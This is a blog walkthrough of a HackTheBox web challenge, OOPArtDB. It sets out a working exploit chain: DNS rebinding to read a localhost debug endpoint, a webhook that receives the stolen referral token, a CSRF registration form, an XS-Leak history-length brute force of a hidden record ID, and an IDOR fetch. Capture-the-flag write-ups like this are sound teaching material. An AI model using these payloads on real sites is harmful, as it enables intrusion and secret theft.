~/r3pek Search About Privacy Home » Posts [HTB] OOPArtDB Challenge WalkThrough 2022-05-01 · 20 min · r3pek Table of Contents Name Difficulty OOPArtDB Insane Release Date 2021-02-11 Retired Date - Category Web Points 80 The WalkThrough is protected with the flag for as long as the challenge is active. For any doubt on what to insert here check my How to Unlock WalkThroughs. introduction First of all let me start by thanking Strellic by making an awesome challenge that really went far beyond what is “normal” and somewhat standard on web challenges on HTB. I’m seen lots of stuff on the web category but this one was really top notch in terms of quality. Not that the other ones are bad, it’s just that OOPArtDB had some kind of magic making you think outside the box, and presenting you with an mostly locked down website, sure makes think harder. AFAIK this was the first Insane Web challenge on HTB, after completing the ones before it in terms of difficulty, I jumped right in knowing it would make me lose my hair. OOPArtDB is (supposely) a database of OOPArts (Out of Place Artifacts). Well, I must say that I really thought that this was going to be some kind of Object Oriented Programming web challenge, but it was clearly not. The description reads: The “Overseer” running the OOPArtDB website is hiding something. You’ve stolen the source code to their site, but auditing the code, it all seems too secure… except for that automated scanner. Can you find the hidden artifact? Yes… It really looked (and is) too secure. analysis Upon downloading the files and starting analysing the code, one will quickly note that this is a NodeJS application. That, by itself, doesn’t give us much, so let’s start digging the code and take a look at the website itself. So, there’s some kind of access level in place, and right now I’m “only” guest. I’m guessing I might need to elevate that 😉. index.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const express = require("express"); const app = express(); 17 18 19 20 21 22 23 resave: false, saveUninitialized: false, })); app.set("view engine", "ejs"); app.use(express.urlencoded({ extended: false })); app.use(express.static("public")); const PORT = process.env.PORT || 80; const db = require("./src/db.js"); const util = require("./src/util.js"); const session = require("express-session"); const SessionStore = require("express-session-sequelize")(session.Store); app.use(session({ secret: require("crypto").randomBytes(32).toString("hex"), store: new SessionStore({ db: db.sequelize, }), 24 app.use((req, res, next) => { 25 // no XSS or iframing :> 26 res.setHeader("Content-Security-Policy", ` 27 default-src 'self'; 28 style-src 'self' https://fonts.googleapis.com; 29 font-src https://fonts.gstatic.com; 30 object-src 'none'; 31 base-uri 'none'; 32 frame-ancestors 'none'; 33 `.trim().replace(/\s+/g, " ")); 34 res.setHeader("X-Frame-Options", "DENY"); 35 next(); 36 }); 37 38 app.use(async (req, res, next) => { 39 if(req.session.user) { 40 try { 41 req.user = await db.User.findByPk(req.session.user); 42 res.locals.user = req.user; 43 } 44 catch(err) { 45 req.session.user = null; 46 } 47 } 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 next(); }); app.get("/debug", util.isLocalhost, (req, res) => { let utils = require("util"); res.end( Object.getOwnPropertyNames(global) .map(n => `${n}:\n${utils.inspect(global[n])}`) .join("\n\n") ); }); app.use("/search", require("./routes/search.js")); app.use("/scan", require("./routes/scan.js")); app.use("/login", require("./routes/login.js")); app.use("/register", require("./routes/register.js")); 64 app.use("/view", require("./routes/view.js")); 65 66 app.get("/logout", (req, res) => { 67 req.session.destroy(() => {}); 68 util.flash(req, res, "info", "Logged out successfully.", "/"); 69 }); 70 app.get("/", (req, res) => res.render("index")); 71 72 app.listen(PORT, () => console.log(`OOPArtDB listening on port ${PORT}`)); Just by looking at the index.js file, one can already starting feeling nervous. Nothing much pops out immediately except for that comment on line 25: :> // no XSS or iframing . The CSP applied to all endpoints really is scarry with nothing going through. No XSS means, no JS code execution, no JS code execution means we’re fu**ed. Just to be sure, in case I was missing something obvious, csp-evaluator confirmed it for me: No, the site doesn’t use JSONP anywhere 😛. That /debug endpoint really intrigued me, but not knowing what I was up against, I decided not to investigate it further since I needed a plan to actual get the flag itself. Which led me to try and find where the flag was being saved. One way to look for this info is to see what the flag.txt 20 21 22 23 24 25 Dockerfile does with it (because we can see that exists a file). This lines are interesting: # Add flag COPY flag.txt /flag.txt # Set ENV variables ENV PORT 7777 ENV REFERRAL_TOKEN REDACTED_SECRET_TOKEN So, we either need to get RCE and read the flag.txt file somehow, or the application already does that for us and hides it in some inaccessible place. Looking through the code we can find this peace on db.js : 54 let password = crypto.randomBytes(32).toString("hex"); 55 console.log(`password: ${password}`); 56 57 (async () => { 58 await sequelize.sync({ force: true }); 59 60 await User.create({ 61 user: "The Overseer", 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 pass: bcrypt.hashSync(password, 12), accessLevel: "overseer" }); for(let oopart of ooparts) { await OOPArt.create(oopart); } let flag; try { flag = (await fsp.readFile("/flag.txt")).toString(); } catch(err) { flag = "HTB{test_flag}"; } 78 await OOPArt.create({ 79 name: "???", 80 desc: crypto.randomBytes(512).toString("hex") 81 + flag 82 + crypto.randomBytes(512).toString("hex"), 83 accessLevel: "overseer" 84 }); 85 })(); This file is responsible for the “DB” initialization of the WebApp and it starts by creating a user “The Overseer” which uses a randomly generated password, then inserts all the pre-existing OOPArts (defined in the OOPArt with the flag in it with the ooparts.js name ) file, and then creates a special of ??? and accessLevel to overseer which probably means that is really really hidden 😇. Ok, so now I needed to find what function actually reads the OOPArts from the database. This is done on the view.js : 5 const { OOPArt } = require("../src/db.js"); 6 const util = require("../src/util.js"); 7 8 router.get("/:id", util.isLoggedIn, async (req, res) => { 9 let id = req.params.id; 10 let entry = await OOPArt.findByPk(id); 11 12 if(!entry) { 13 return util.flash(req, res, "error", "No OOPArt was found with that id.", "/ 14 } 15 16 res.render("view", { entry }); 17 }); The endpoint /view/:id shows a page with the OOPArt with said id. Simple enough, and actually, one thing that I noticed here is that this endpoint will happily show you any id regardless of your accessLevel, making it a “classic” IDOR (Insecure Direct Object References) vulnerability. But the problem is that middleware: util.isLoggedIn . Looks like I needed a user to be able to read the actual OOPArt’s contents from the database (or that IDOR wouldn’t be of much use). A quick glance on the actual website proved exactly that. First of all, the database contains 7 (+1 for the manually inserted one with the flag) OOPArts as seen on the ooparts.js file, but only 4 are being displayed on the results. This is because 3 of them are “behind” a researcher accessLevel and this level can only be obtained by registering a user: 12 router.post("/", util.isLoggedIn, async (req, res) => { 13 let { user, pass, token } = req.body; 14 if(!user || !pass) { 15 return util.flash(req, res, "error", "Missing username or password."); 16 } 17 18 if(!token) { 19 return util.flash(req, res, "error", "Missing referral token."); 20 } 21 22 if(token !== REFERRAL_TOKEN) { 23 return util.flash(req, res, "error", "Incorrect referral token."); 24 } 25 26 let entry = await User.findByPk(user); 27 if(entry) { 28 29 30 31 32 33 return util.flash(req, res, "error", "A user already exists with that usernam } pass = await bcrypt.hash(pass, 12); await User.create({ user, pass, accessLevel: "researcher" }); 34 util.flash(req, res, "info", `A researcher has been created under the username <b 35 }); So, to register a user I needed to know the variable defined on the Dockerfile REFERRAL_TOKEN , which is an environment but, to actual call this endpoint successfully, I need to be already logged in ( util.isLoggedIn ). Bummer… How am I going to login with a user that I don’t have to register a user for myself 😕🤔 ?! This is looking more and more like a Brainfuck kinda of challenge. So far I had nothing so I decided to check what was going on with that “automated scanner” that the challenge description talked about. 9 router.get("/", (req, res) => res.render("scan")); 10 router.post("/", async (req, res) => { 11 let { link } = req.body; 12 13 if(scanning) { 14 return util.flash(req, res, "error", "Please wait for the automated scanner t 15 } 16 17 if(!link) { 18 19 20 21 22 23 24 return util.flash(req, res, "error", "Missing link to scan."); } let url; try { url = new URL(link); } 25 26 27 28 29 30 31 32 catch (err) { return util.flash(req, res, "error", "Invalid link"); } if(!['http:', 'https:'].includes(url.protocol)) { return util.flash(req, res, "error", "Link must be of protocol <b>http:</b> o } 33 scanning = true; 34 35 util.flash(req, res, "info", "The automated scanner is now going over your submis 36 await bot.visit(link); 37 38 scanning = false; 39 }); So, it reads an URL in and then makes a bot visit that link. What does the bot actually do with that link? 5 const visit = async (url) => { 6 let browser; 7 try { 8 browser = await puppeteer.launch({ 9 headless: true, 10 pipe: true, 11 args: [ 12 "--no-sandbox", 13 "--disable-setuid-sandbox", 14 "--js-flags=--noexpose_wasm,--jitless", 15 ], 16 dumpio: true 17 }); 18 19 let context = await browser.createIncognitoBrowserContext(); 20 let page = await context.newPage(); 21 22 23 24 25 26 27 28 29 await page.goto("http://localhost/login", { waitUntil: "networkidle2" }); await page.evaluate((user, pass) => { document.querySelector("input[name=user]").value = user; document.querySelector("input[name=pass]").value = pass; document.querySelector("button[type=submit]").click(); 30 31 32 33 34 35 36 37 }, "The Overseer", password); await page.waitForNavigation(); await page.goto(url, { waitUntil: "networkidle2" }); await page.waitForTimeout(7000); 38 39 40 41 42 43 44 45 }; await browser.close(); browser = null; } catch (err) { console.log(err); } finally { if (browser) await browser.close(); } So, it spawns a puppeteer instance (running Chrome), logs in as “The Overseer” and then visits the page I give him. OK, this is an injection point but at this time, and looking at the CSP I really had no idea on what I could really do with it. Anyway, it had to be something to do with this since it was even on the description. After reading all the code again, I kinda suspected something fishy was going on with that util.flash function since lots of endpoints are using it to display messages to the user. 1 const flash = (req, res, type, msg, url) => { 2 let endpoint = url || req.originalUrl; 3 let delim = endpoint.includes("?") ? "&" : "?"; 4 return res.redirect(`${endpoint}${delim}${type}=${encodeURIComponent(msg)}`); 5 }; Looks like it’s just appending some query parameter to the URL with the message itself. Since I’m not seeing that parameters on the URLs I visit, there must be some kind of JavaScript running on the browser that clears that up and if I can inject something into that I might be able to execute code when the bot visits a carefully constructed URL and put on the scanner. This is the 1 /* We are watching. */ 2 main.js file that is ran on the browser: 3 4 5 6 7 8 9 10 const $ = document.querySelector.bind(document); // imagine using jQuery const sanitize = (dirty) => { // There is no escape. return DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true }, FORBID_ATTR: ["i }; window.onload = () => { 11 12 13 14 15 16 17 18 19 20 21 22 23 24 }; // flash messages let params = new URLSearchParams(location.search); if(location.search.includes("?error=") || location.search.includes("&error=")) { $("#flash-error").style.display = "block"; $("#flash-error").innerHTML = sanitize(params.get("error").slice(0, 300)); } if(location.search.includes("?info=") || location.search.includes("&info=")) { $("#flash-info").style.display = "block"; $("#flash-info").innerHTML = sanitize(params.get("info").slice(0, 300)); } // wipe flash history.replaceState({}, document.title, location.pathname); AAAHHHHH Even here they are watching 😄 . Immediately the .innerHTML struck my eye and I thought: “YAY for DOM Injection. There might be a way in here. This has to be the way”. Seeing that it used DOMPurify the filter stuff from the parameters, I looked for vulnerabilities on it and lo and behold CVE-2020-26870: “Cure53 DOMPurify before 2.0.17 allows mutation XSS”. Luckily for me that was even a PoC available which I immediately try, but to no avail 🤬 . Looked like it wasn’t going to be that simple, so I went to read all there was available about HTML Gadgets, mutation XSS, DOM Sanitizers and how they work. After 2 or 3 days of research, I remembered to check the version of the bundled DOMPurify file… FML!! 😠😠😠It’s already using a patched version and me losing days trying to understand what I was doing wrong with my payloads. OK, so maybe I couldn’t use that vulnerability, but I could definitely inject something with the error and info query parameters, it’s just that almost everything got cleared up. The only thing I could come up with which resambles a XSS injection was to inject the on<something> <img src=x> , but all events were filtered so I couldn’t trigger nothing. To take a break from the query parameters I decided to investigate that /debug endpoint. I got in the docker container (since it can only be accessed via localhost) and used wget to get that file. 458 459 460 461 462 463 464 465 466 chdir: [Function: wrappedChdir], cwd: [Function: wrappedCwd], initgroups: [Function: initgroups], setgroups: [Function: setgroups], setegid: [Function (anonymous)], seteuid: [Function (anonymous)], setgid: [Function (anonymous)], setuid: [Function (anonymous)], env: { 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 TERM: 'xterm', container: 'podman', HOSTNAME: '377f10979acb', YARN_VERSION: '1.22.17', NODE_VERSION: '17.7.1', SUPERVISOR_ENABLED: '1', SUPERVISOR_PROCESS_NAME: 'node', PWD: '/app', REFERRAL_TOKEN: 'REDACTED_SECRET_TOKEN', SUPERVISOR_GROUP_NAME: 'node', HOME: '/root', PUPPETEER_SKIP_CHROMIUM_DOWNLOAD: 'true', PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', PUPPETEER_EXECUTABLE_PATH: '/usr/bin/google-chrome', PORT: '7777' }, 483 484 485 486 487 488 title: 'node', argv: [ '/usr/local/bin/node', '/app/index.js' ], execArgv: [], pid: 5, ppid: 1, execPath: '/usr/local/bin/node', This endpoint ended up being a dump of all the properties NodeJS knows about all Objects. The nice thing about this endpoint is that it shows the required to register a user. REFERRAL_TOKEN that is With this, a plan started to come up. I needed to get the /debug REFERRAL_TOKEN from so that I could register a user to be able to read the OOPArt that contained the flag via the IDOR vulnerability, but I still had no idea on how to get the ID of the OOPArt that contained the flag. So I went ahead and looked up some of the author’s past challenges. Since this was an Insane challenge, I looked at the most difficult ones he did and styleme from CorCTF- 2021 looked interesting, and it was where I first found the xs-leak term. Researching into that, I learned about XS-Leaks Wiki website and kinda devoured it 😇. Finally I had a plan to get the flag: 1. Get REFERRAL_TOKEN from the /debug endpoint 2. Register a new user 3. Use a XS-Leak to get the OOPArt ID with the flag 4. use IDOR to read the flag stage 1 Getting the REFERRAL_TOKEN was no easy task. The /debug endpoint had all the CORS headers set so it wouldn’t be able to frame it and read its contents. While researching for a technique to read a CORS protected endpoint, I tried several stuff mostly based of iframes loading something from than reloading into the /debug /public (which didn’t have CORS headers set) and endpoint, but of course, nothing worked. Until a light pop into my head 💡 ! There was a challenge I had resolved recentely that used a technique called DNS Rebinding. In this particular case it was a TICTOU (Time of Check Time of Use) attack, but in this case it could work too. So, the idea was to get the bot to load a page on an URL like load http://something.r3pek.org/debug that something.r3pek.org http://something.r3pek.org , and then make it , but in the meantime change the IP address points to to 127.0.0.1 , and read the actual /debug endpoint that we need. This should be simple enough to cook and it actually was until I hit a wall: browser DNS Caching. This days, browsers to cache the DNS results exactly to prevent this kind of attacks, even when you specify a TTL of 0 or 1 to that specific record. According to some info I found, Chrome/Firefox cache the results for at least a minute, so we had a problem: 33 34 await page.goto(url, { waitUntil: "networkidle2" 35 36 37 38 }); await page.waitForTimeout(7000); await browser.close(); The bot only holds on to the page for 7s, which is clearly not enough for the cache to clear up and we get the new record in. So I needed to extend that period. My idea was to make the stage1 page load some image from my server but make the server never actually return so that the connection would be prolonged enough to hit that 1min mark. Sadly for me, and everyone going this route, is that puppeteer “auto-dies” in 30 seconds by default, no matter how many pendding connections you have on a webpage. So this was a no-go. Here I must say I did have a nudge. I got a hint that instead of prolonging the life of the client, the server should die way sooner, and what a difference that made. The idea is that the browser will pick up the first address on a multi-record DNS resolution, but if for some reason that address just dies (is no longer acessable), it auto moves to the next one. So, this is what I did: Use the scan service to point to http://something.r3pek.org As soon as that page was sent to the bot kill the server The page then just runs a fecth to http://something.r3pek.org/debug Send the result to a webhook where I can then retreive the REFERRAL_TOKEN This worked like a charm so the first stage was complete and I had the token needed to register a user! 1 <head> 2 </head> 3 <body> 4 <script> 5 6 7 8 9 10 11 12 const sleep = (m) => new Promise(r => setTimeout(r, m)); async function exploit() { var exit = false; for (var i = 0; i < 100 && !exit; i++) { fetch("http://REBIND_DNS/debug?x=" + Math.random().toString(36).repla if (r.status == 200) { return r.text(); 13 } else 14 throw new Error("nop"); 15 }).then(r => { 16 var m = r.match(/REFERRAL_TOKEN: (.*)/m); 17 fetch("WEBHOOK_URL/?token=ok;" + btoa(unescape(encodeURIComponent 18 exit = true; 19 }); 20 await sleep(100); 21 } 22 } 23 24 exploit(); 25 </script> 26 </body> Bare in mind that those REBIND_DNS and WEBHOOK_URL strings were replaced on the python side of things before the page is actually sent to the client. stage 2 This one was easy as one just had to load a page into the bot that would post a <form> into the /register endpoint with the correct parameters. 1 <head> 2 </head> 3 <body> 4 <form id="register" action="http://localhost/register" method="POST"> 5 <input name="user" value="r3pek"/> 6 <input name="pass" value="p0wned"/> 7 <input name="token" value="REGISTER_TOKEN"> 8 <button type="submit">Register</button> 9 </form> 10 <script> 11 document.getElementById("register").submit(); 12 </script> 13 </body> stage 3 Now was the real tricky part. Most of the time I spent on this challenge was spent trying to figure out how to leak the actual ID of the OOPArt that contained the flag. For starters, I started messing with the and info error parameters that are generated on the server, but only parsed on the browser as can be seen on the main.js file above. My end goal at the time was being able to inject something meaningfull that I could somehow use for a leak, either some HTML tag or some kind of JS that would pass through, but nothing work and the best I could achieve was to prevent the history.replaceState() call to not http://127.0.0.1:1337/?x=?info=aaa&error=asd stop it from ever running replaceState() execute with something like: . That would error out the javascript and . During my research, I found about XSinator which is a site that tests your browser for xs-leaks vulnerabilities. This could narrow my attack surface quite a bit since the challenge was using a recent version of Chrome so I could check what it was vulnerable to and narrow my research even more instead of trying to look up all the XS-Leaks vulnerabilities one by one. This is what I’ve got: Green is Safe, Red is Exploitable I could quickly discard the ones that required some kind of content injection like onload events and frame counts, but there we some that caught my eye: URL Max Length Leak Max Redirect Leak History Length Leak Basically because all of them had something to do with the way the site worked, specially when we did a search and it showed the results page, it would always have an info or error saying how many results we got ( error in the case of 0 results). With that in mind I started trying to generate some request that would try to differentiate between the 2 results: result or no result. After some time trying, I remembered that I didn’t even try to see if the text that is appended to the URL with the info is actually different on those 2 situations. Well, shame on me I guess: ?error=No results were found. ?info=1 search results found: The damn URLs are exactly the same size on the case I eventually managed to find the correct ID 😠. So URL Max Length Leak is a no go. Max Redirect Leak was initially a good thought, until I learned that I needed to make some page enter a redirect loop, and since I had no way to inject stuff into the pages, I just scratched that one out too. That left me with History Length, so I really needed this one to work. The idea looked simple enough but natively, the site didn’t behave differentely when I had a match or when I didn’t, so I went back to google some more and research the subject. After some days of research and trial and error I’ve found this DiceVault from DiceCTF 2022 writeup. This gave an idea: So, when we have 1 or more results on the search page, the URL will look something like /search?info=1 search results found: and combining that with the knowledge I got before about stopping (crashing) Javascript, the only way to add to the history stack is the actually get a result because if we get an error, the URL will be info=&error=No results were found. which wont trigger the /search?x=? replaceState() call and thus, not add to the history stack. (for reference, the URL while combining the JS crash and 1 result would be /search?x=?info=&info=1 search results found: which will work). So now, I only had to brute force the ID checking the history stack length before and after each test so I would know if I had a valid guess or not. Final stage3 was this one: 1 <head> 2 </head> 3 <body> 4 <img src="http://REBIND_DNS/stall_browser1.png"/> 5 <img src="http://REBIND_DNS/stall_browser2.png"/> 6 <img src="http://REBIND_DNS/stall_browser3.png"/> 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <form id=form1 action='http://localhost/search?x=?info=' method='POST' target='ex <input name="query" value=""> <input name="level" value="overseer" type="hidden"> <button type="submit">search</button> </form> <script> const sleep = (m) => new Promise(r => setTimeout(r, m)); var w = window.open("","exploit"); async function id_is_valid(id) { form = document.getElementById("form1"); query = document.getElementsByName("query")[0]; query.value = id; form.submit(); await sleep(500); w.location = "about:blank" await sleep(100); h1 = w.history.length; w.history.back(); await sleep(100); w.location = form.action + "&error=No%20results%20were%20found.#DidWeGetN await sleep(0); w.location = "about:blank"; await sleep(100); h2 = w.history.length console.log("id: " + id + "; h1: " + h1 + "; h2:" + h2); return h2 == h1; // ReplaceState will trigger when we get a positive matc } async function exploit() { const valid_chars = "abcdef0123456789"; id = "STARTID"; for (var i = TESTED_IDX; i < valid_chars.length; i++) { valid = await id_is_valid(id + valid_chars[i]); console.log(valid); if (valid) { id += valid_chars[i]; break; } else { 53 54 55 56 57 58 59 60 fetch("WEBHOOK_URL/?testedidx=" + i); } } w.close(); fetch("WEBHOOK_URL/?view=" + id); } exploit(); 61 62 </script> 63 </body> In this stage I used the 3 images to make the browser last as long as 30 seconds as mentioned before because this process can take some time. Also, on the python side, I accounted for this and made this process automatically resume if needed. stage 4 With the OOPArt ID containing the flag at hand, and a register user from stage2, this step is just to use the identified IDOR vulnerability and retreive the flag. 207 208 209 210 211 212 213 # start of stage4 info("Getting the view content") s = requests.session() r = s.post("http://" + ENDPOINT + "/login", data={"user":"r3pek","pass":"p0wned"}) r = s.get("http://" + ENDPOINT + "/view/" + flag_viewid) m = re.search(".*(HTB{.*}).*", r.content.decode("utf-8")) success("Got the Flag: " + m.group(1)) Complete exploit.py here. htb challenge oopartdb walkthrough writeup dns rebinding © 2022 r3pek's 127.0.0.1 Powered by Hugo & PaperMod xs-leaks cors